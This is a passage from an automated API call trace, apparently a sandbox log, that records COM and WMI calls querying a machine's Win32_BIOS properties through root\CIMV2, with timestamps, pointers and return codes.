pCid=0x1afbb3d8 | out: pCid=0x1afbb3d8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.376] WbemLocator:IUnknown:Release (This=0x1b232ff8) returned 0x3 [0169.376] CoGetContextToken (in: pToken=0x1afbb460 | out: pToken=0x1afbb460) returned 0x0 [0169.376] CoGetContextToken (in: pToken=0x1afbb8e0 | out: pToken=0x1afbb8e0) returned 0x0 [0169.376] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233118, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb9a0 | out: ppvObject=0x1afbb9a0*=0x1b2330e0) returned 0x0 [0169.376] WbemLocator:IRpcOptions:Query (in: This=0x1b2330e0, pPrx=0x1b233118, dwProperty=2, pdwValue=0x1afbb990 | out: pdwValue=0x1afbb990) returned 0x80004002 [0169.376] WbemLocator:IUnknown:Release (This=0x1b2330e0) returned 0x3 [0169.376] WbemLocator:IUnknown:Release (This=0x1b233118) returned 0x2 [0169.376] CoGetContextToken (in: pToken=0x1afbbfa0 | out: pToken=0x1afbbfa0) returned 0x0 [0169.376] CoGetContextToken (in: pToken=0x1afbbea0 | out: pToken=0x1afbbea0) returned 0x0 [0169.377] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233118, riid=0x1afbc000*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbbfd0 | out: ppvObject=0x1afbbfd0*=0x1b22de30) returned 0x0 [0169.377] IUnknown:AddRef (This=0x1b22de30) returned 0x4 [0169.377] IUnknown:Release (This=0x1b22de30) returned 0x3 [0169.377] IUnknown:Release (This=0x1b22de30) returned 0x2 [0169.377] WbemLocator:IUnknown:Release (This=0x1b2178d0) returned 0x2 [0169.377] SysStringLen (param_1=0x0) returned 0x0 [0169.377] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231d60, puCount=0x1afbc5e8 | out: puCount=0x1afbc5e8*=0x2) returned 0x0 [0169.377] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc5e0*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc5e0*=0xf, pszText=0x0) returned 0x0 [0169.377] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc5e0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc5e0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.377] CoGetContextToken (in: pToken=0x1afbc160 | out: pToken=0x1afbc160) returned 0x0 [0169.377] IUnknown:AddRef (This=0x1b22de30) returned 0x3 [0169.377] IEnumWbemClassObject:Clone (in: This=0x1b22de30, ppEnum=0x1afbc560 | out: ppEnum=0x1afbc560*=0x1b22d7a0) returned 0x0 [0169.378] IUnknown:QueryInterface (in: This=0x1b22d7a0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc2e8 | out: ppvObject=0x1afbc2e8*=0x1b22d7a8) returned 0x0 [0169.378] IClientSecurity:QueryBlanket (in: This=0x1b22d7a8, pProxy=0x1b22d7a0, pAuthnSvc=0x1afbc3b0, pAuthzSvc=0x1afbc330, pServerPrincName=0x1afbc358, pAuthnLevel=0x1afbc334, pImpLevel=0x1afbc340, pAuthInfo=0x1afbc368, pCapabilites=0x1afbc344 | out: pAuthnSvc=0x1afbc3b0*=0xa, pAuthzSvc=0x1afbc330*=0x0, pServerPrincName=0x1afbc358, pAuthnLevel=0x1afbc334*=0x6, pImpLevel=0x1afbc340*=0x2, pAuthInfo=0x1afbc368, pCapabilites=0x1afbc344*=0x1) returned 0x0 [0169.378] IUnknown:Release (This=0x1b22d7a8) returned 0x1 [0169.378] IUnknown:QueryInterface (in: This=0x1b22d7a0, riid=0x7ffb15d96518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc280 | out: ppvObject=0x1afbc280*=0x1b233458) returned 0x0 [0169.378] IUnknown:QueryInterface (in: This=0x1b22d7a0, riid=0x7ffb15d96528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbc290 | out: ppvObject=0x1afbc290*=0x1b22d7a8) returned 0x0 [0169.379] IClientSecurity:SetBlanket (This=0x1b22d7a8, pProxy=0x1b22d7a0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0169.401] IUnknown:Release (This=0x1b22d7a8) returned 0x2 [0169.401] WbemLocator:IUnknown:Release (This=0x1b233458) returned 0x1 [0169.401] CoTaskMemFree (pv=0x1b2042b0) [0169.401] IUnknown:QueryInterface (in: This=0x1b22d7a0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbbd40 | out: ppvObject=0x1afbbd40*=0x1b233458) returned 0x0 [0169.402] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbbdd0 | out: ppvObject=0x1afbbdd0*=0x0) returned 0x80004002 [0169.406] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb9f0 | out: ppvObject=0x1afbb9f0*=0x0) returned 0x80004002 [0169.408] IUnknown:QueryInterface (in: This=0x1b22d7a0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb5c8 | out: ppvObject=0x1afbb5c8*=0x0) returned 0x80004002 [0169.409] WbemLocator:IUnknown:AddRef (This=0x1b233458) returned 0x3 [0169.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb488 | out: ppvObject=0x1afbb488*=0x0) returned 0x80004002 [0169.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbb410 | out: ppvObject=0x1afbb410*=0x0) returned 0x80004002 [0169.409] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb400 | out: ppvObject=0x1afbb400*=0x1b233338) returned 0x0 [0169.410] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b233338, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbb428 | out: pCid=0x1afbb428*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.410] WbemLocator:IUnknown:Release (This=0x1b233338) returned 0x3 [0169.410] CoGetContextToken (in: pToken=0x1afbb4b0 | out: pToken=0x1afbb4b0) returned 0x0 [0169.410] CoGetContextToken (in: pToken=0x1afbb930 | out: pToken=0x1afbb930) returned 0x0 [0169.410] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb9f0 | out: ppvObject=0x1afbb9f0*=0x1b233420) returned 0x0 [0169.410] WbemLocator:IRpcOptions:Query (in: This=0x1b233420, pPrx=0x1b233458, dwProperty=2, pdwValue=0x1afbb9e0 | out: pdwValue=0x1afbb9e0) returned 0x80004002 [0169.410] WbemLocator:IUnknown:Release (This=0x1b233420) returned 0x3 [0169.410] WbemLocator:IUnknown:Release (This=0x1b233458) returned 0x2 [0169.410] CoGetContextToken (in: pToken=0x1afbbff0 | out: pToken=0x1afbbff0) returned 0x0 [0169.410] CoGetContextToken (in: pToken=0x1afbbef0 | out: pToken=0x1afbbef0) returned 0x0 [0169.410] WbemLocator:IUnknown:QueryInterface (in: This=0x1b233458, riid=0x1afbc050*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1afbc020 | out: ppvObject=0x1afbc020*=0x1b22d7a0) returned 0x0 [0169.410] IUnknown:AddRef (This=0x1b22d7a0) returned 0x4 [0169.410] IUnknown:Release (This=0x1b22d7a0) returned 0x3 [0169.410] IUnknown:Release (This=0x1b22d7a0) returned 0x2 [0169.410] IUnknown:Release (This=0x1b22de30) returned 0x2 [0169.411] SysStringLen (param_1=0x0) returned 0x0 [0169.411] IEnumWbemClassObject:Reset (This=0x1b22d7a0) returned 0x0 [0169.411] CoTaskMemAlloc (cb=0x8) returned 0x1b1dd390 [0169.411] IEnumWbemClassObject:Next (in: This=0x1b22d7a0, lTimeout=-1, uCount=0x1, apObjects=0x1b1dd390, puReturned=0x2a2f7c0 | out: apObjects=0x1b1dd390*=0x1b2207f0, puReturned=0x2a2f7c0*=0x1) returned 0x0 [0169.426] IUnknown:QueryInterface (in: This=0x1b2207f0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb8e0 | out: ppvObject=0x1afbb8e0*=0x1b2207f0) returned 0x0 [0169.426] IUnknown:QueryInterface (in: This=0x1b2207f0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb970 | out: ppvObject=0x1afbb970*=0x0) returned 0x80004002 [0169.426] IUnknown:QueryInterface (in: This=0x1b2207f0, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbb590 | out: ppvObject=0x1afbb590*=0x0) returned 0x80004002 [0169.426] IUnknown:QueryInterface (in: This=0x1b2207f0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb168 | out: ppvObject=0x1afbb168*=0x0) returned 0x80004002 [0169.426] IUnknown:AddRef (This=0x1b2207f0) returned 0x3 [0169.426] IUnknown:QueryInterface (in: This=0x1b2207f0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbb028 | out: ppvObject=0x1afbb028*=0x0) returned 0x80004002 [0169.426] IUnknown:QueryInterface (in: This=0x1b2207f0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbafb0 | out: ppvObject=0x1afbafb0*=0x0) returned 0x80004002 [0169.426] IUnknown:QueryInterface (in: This=0x1b2207f0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbafa0 | out: ppvObject=0x1afbafa0*=0x1b2207f8) returned 0x0 [0169.426] IMarshal:GetUnmarshalClass (in: This=0x1b2207f8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbafc8 | out: pCid=0x1afbafc8*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0169.426] IUnknown:Release (This=0x1b2207f8) returned 0x3 [0169.427] CoGetContextToken (in: pToken=0x1afbb050 | out: pToken=0x1afbb050) returned 0x0 [0169.427] CoGetContextToken (in: pToken=0x1afbb4d0 | out: pToken=0x1afbb4d0) returned 0x0 [0169.427] IUnknown:QueryInterface (in: This=0x1b2207f0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb590 | out: ppvObject=0x1afbb590*=0x0) returned 0x80004002 [0169.427] IUnknown:Release (This=0x1b2207f0) returned 0x2 [0169.427] CoGetContextToken (in: pToken=0x1afbbb90 | out: pToken=0x1afbbb90) returned 0x0 [0169.427] CoGetContextToken (in: pToken=0x1afbba90 | out: pToken=0x1afbba90) returned 0x0 [0169.427] IUnknown:QueryInterface (in: This=0x1b2207f0, riid=0x1afbbbf0*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1afbbbc0 | out: ppvObject=0x1afbbbc0*=0x1b2207f0) returned 0x0 [0169.427] IUnknown:AddRef (This=0x1b2207f0) returned 0x4 [0169.427] IUnknown:Release (This=0x1b2207f0) returned 0x3 [0169.427] IUnknown:Release (This=0x1b2207f0) returned 0x2 [0169.427] CoTaskMemFree (pv=0x1b1dd390) [0169.427] CoGetContextToken (in: pToken=0x1afbbf60 | out: pToken=0x1afbbf60) returned 0x0 [0169.427] IUnknown:AddRef (This=0x1b2207f0) returned 0x3 [0169.427] IWbemClassObject:Get (in: This=0x1b2207f0, wszName="__GENUS", lFlags=0, pVal=0x1afbc520*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1afbc648*=0, plFlavor=0x1afbc640*=0 | out: pVal=0x1afbc520*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1afbc648*=3, plFlavor=0x1afbc640*=64) returned 0x0 [0169.427] IWbemClassObject:Get (in: This=0x1b2207f0, wszName="__PATH", lFlags=0, pVal=0x1afbc4d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1afbc600*=0, plFlavor=0x1afbc5f8*=0 | out: pVal=0x1afbc4d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\root\\CIMV2:Win32_BIOS.Name=\"Default System BIOS\",SoftwareElementID=\"Default System BIOS\",SoftwareElementState=3,TargetOperatingSystem=0,Version=\"FUJ - 1\"", varVal2=0x0), pType=0x1afbc600*=8, plFlavor=0x1afbc5f8*=64) returned 0x0 [0169.428] SysStringByteLen (bstr="\\\\XC64ZB\\root\\CIMV2:Win32_BIOS.Name=\"Default System BIOS\",SoftwareElementID=\"Default System BIOS\",SoftwareElementState=3,TargetOperatingSystem=0,Version=\"FUJ - 1\"") returned 0x14a [0169.428] SysStringByteLen (bstr="\\\\XC64ZB\\root\\CIMV2:Win32_BIOS.Name=\"Default System BIOS\",SoftwareElementID=\"Default System BIOS\",SoftwareElementState=3,TargetOperatingSystem=0,Version=\"FUJ - 1\"") returned 0x14a [0169.428] CoGetObjectContext (in: riid=0x2569d10*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbc548 | out: ppv=0x1afbc548*=0x77dd58) returned 0x0 [0169.428] IComThreadingInfo:GetCurrentApartmentType (in: This=0x77dd58, pAptType=0x1afbc538 | out: pAptType=0x1afbc538*=1) returned 0x0 [0169.428] IUnknown:QueryInterface (in: This=0x77dd58, riid=0x2569cf0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1afbc540 | out: ppvObject=0x1afbc540*=0x0) returned 0x80004002 [0169.428] IUnknown:Release (This=0x77dd58) returned 0x1 [0169.429] CoGetClassObject (in: rclsid=0x1b1c9aa8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1afbb938 | out: ppv=0x1afbb938*=0x1b1fecf0) returned 0x0 [0169.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b1fecf0, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1afbba20 | out: ppvObject=0x1afbba20*=0x0) returned 0x80004002 [0169.429] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b1fecf0, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb9f8 | out: ppvObject=0x1afbb9f8*=0x1b2322a0) returned 0x0 [0169.429] WbemDefPath:IUnknown:Release (This=0x1b1fecf0) returned 0x0 [0169.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2322a0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb7a0 | out: ppvObject=0x1afbb7a0*=0x1b2322a0) returned 0x0 [0169.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2322a0, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1afbb830 | out: ppvObject=0x1afbb830*=0x0) returned 0x80004002 [0169.429] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2322a0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1afbb028 | out: ppvObject=0x1afbb028*=0x0) returned 0x80004002 [0169.430] WbemDefPath:IUnknown:AddRef (This=0x1b2322a0) returned 0x3 [0169.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2322a0, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1afbaee8 | out: ppvObject=0x1afbaee8*=0x0) returned 0x80004002 [0169.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2322a0, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1afbae70 | out: ppvObject=0x1afbae70*=0x0) returned 0x80004002 [0169.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2322a0, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbae60 | out: ppvObject=0x1afbae60*=0x1b1feed0) returned 0x0 [0169.430] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b1feed0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1afbae88 | out: pCid=0x1afbae88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0169.430] WbemDefPath:IUnknown:Release (This=0x1b1feed0) returned 0x3 [0169.430] CoGetContextToken (in: pToken=0x1afbaf10 | out: pToken=0x1afbaf10) returned 0x0 [0169.430] CoGetContextToken (in: pToken=0x1afbb390 | out: pToken=0x1afbb390) returned 0x0 [0169.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2322a0, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1afbb450 | out: ppvObject=0x1afbb450*=0x0) returned 0x80004002 [0169.430] WbemDefPath:IUnknown:Release (This=0x1b2322a0) returned 0x2 [0169.430] WbemDefPath:IUnknown:Release (This=0x1b2322a0) returned 0x1 [0169.430] CoGetContextToken (in: pToken=0x1afbc180 | out: pToken=0x1afbc180) returned 0x0 [0169.430] CoGetContextToken (in: pToken=0x1afbc080 | out: pToken=0x1afbc080) returned 0x0 [0169.430] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b2322a0, riid=0x1afbc1e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1afbc1b0 | out: ppvObject=0x1afbc1b0*=0x1b2322a0) returned 0x0 [0169.430] WbemDefPath:IUnknown:AddRef (This=0x1b2322a0) returned 0x3 [0169.430] WbemDefPath:IUnknown:Release (This=0x1b2322a0) returned 0x2 [0169.431] WbemDefPath:IWbemPath:SetText (This=0x1b2322a0, uMode=0x4, pszPath="\\\\XC64ZB\\root\\CIMV2:Win32_BIOS.Name=\"Default System BIOS\",SoftwareElementID=\"Default System BIOS\",SoftwareElementState=3,TargetOperatingSystem=0,Version=\"FUJ - 1\"") returned 0x0 [0169.431] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231d60, puCount=0x1afbc568 | out: puCount=0x1afbc568*=0x2) returned 0x0 [0169.431] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc560*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc560*=0xf, pszText=0x0) returned 0x0 [0169.431] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc560*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc560*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.431] CoGetContextToken (in: pToken=0x1afbc330 | out: pToken=0x1afbc330) returned 0x0 [0169.431] WbemLocator:IUnknown:Release (This=0x1b233458) returned 0x1 [0169.431] IUnknown:Release (This=0x1b22d7a0) returned 0x0 [0169.432] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231d60, puCount=0x1afbc618 | out: puCount=0x1afbc618*=0x2) returned 0x0 [0169.432] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc610*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc610*=0xf, pszText=0x0) returned 0x0 [0169.432] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc610*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc610*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.432] IWbemClassObject:Get (in: This=0x1b2207f0, wszName="Name", lFlags=0, pVal=0x1afbc5d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a30478*=0, plFlavor=0x2a3047c*=0 | out: pVal=0x1afbc5d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Default System BIOS", varVal2=0x0), pType=0x2a30478*=8, plFlavor=0x2a3047c*=0) returned 0x0 [0169.432] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0169.432] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0169.433] IWbemClassObject:Get (in: This=0x1b2207f0, wszName="Name", lFlags=0, pVal=0x1afbc620*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a30478*=8, plFlavor=0x2a3047c*=0 | out: pVal=0x1afbc620*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Default System BIOS", varVal2=0x0), pType=0x2a30478*=8, plFlavor=0x2a3047c*=0) returned 0x0 [0169.433] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0169.433] SysStringByteLen (bstr="Default System BIOS") returned 0x26 [0169.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b231d60, puCount=0x1afbc618 | out: puCount=0x1afbc618*=0x2) returned 0x0 [0169.433] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc610*=0x0, pszText=0x0 | out: puBuffLength=0x1afbc610*=0xf, pszText=0x0) returned 0x0 [0169.433] WbemDefPath:IWbemPath:GetText (in: This=0x1b231d60, lFlags=4, puBuffLength=0x1afbc610*=0xf, pszText="00000000000000" | out: puBuffLength=0x1afbc610*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0169.433] IWbemClassObject:Get (in: This=0x1b2207f0, wszName="Name", lFlags=0, pVal=0x1afbc5d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2a30570*=0, plFlavor=0x2a30574*=0 | out: pVal=0x1afbc5d0*(varType=0x8, wReserved1=0x0, 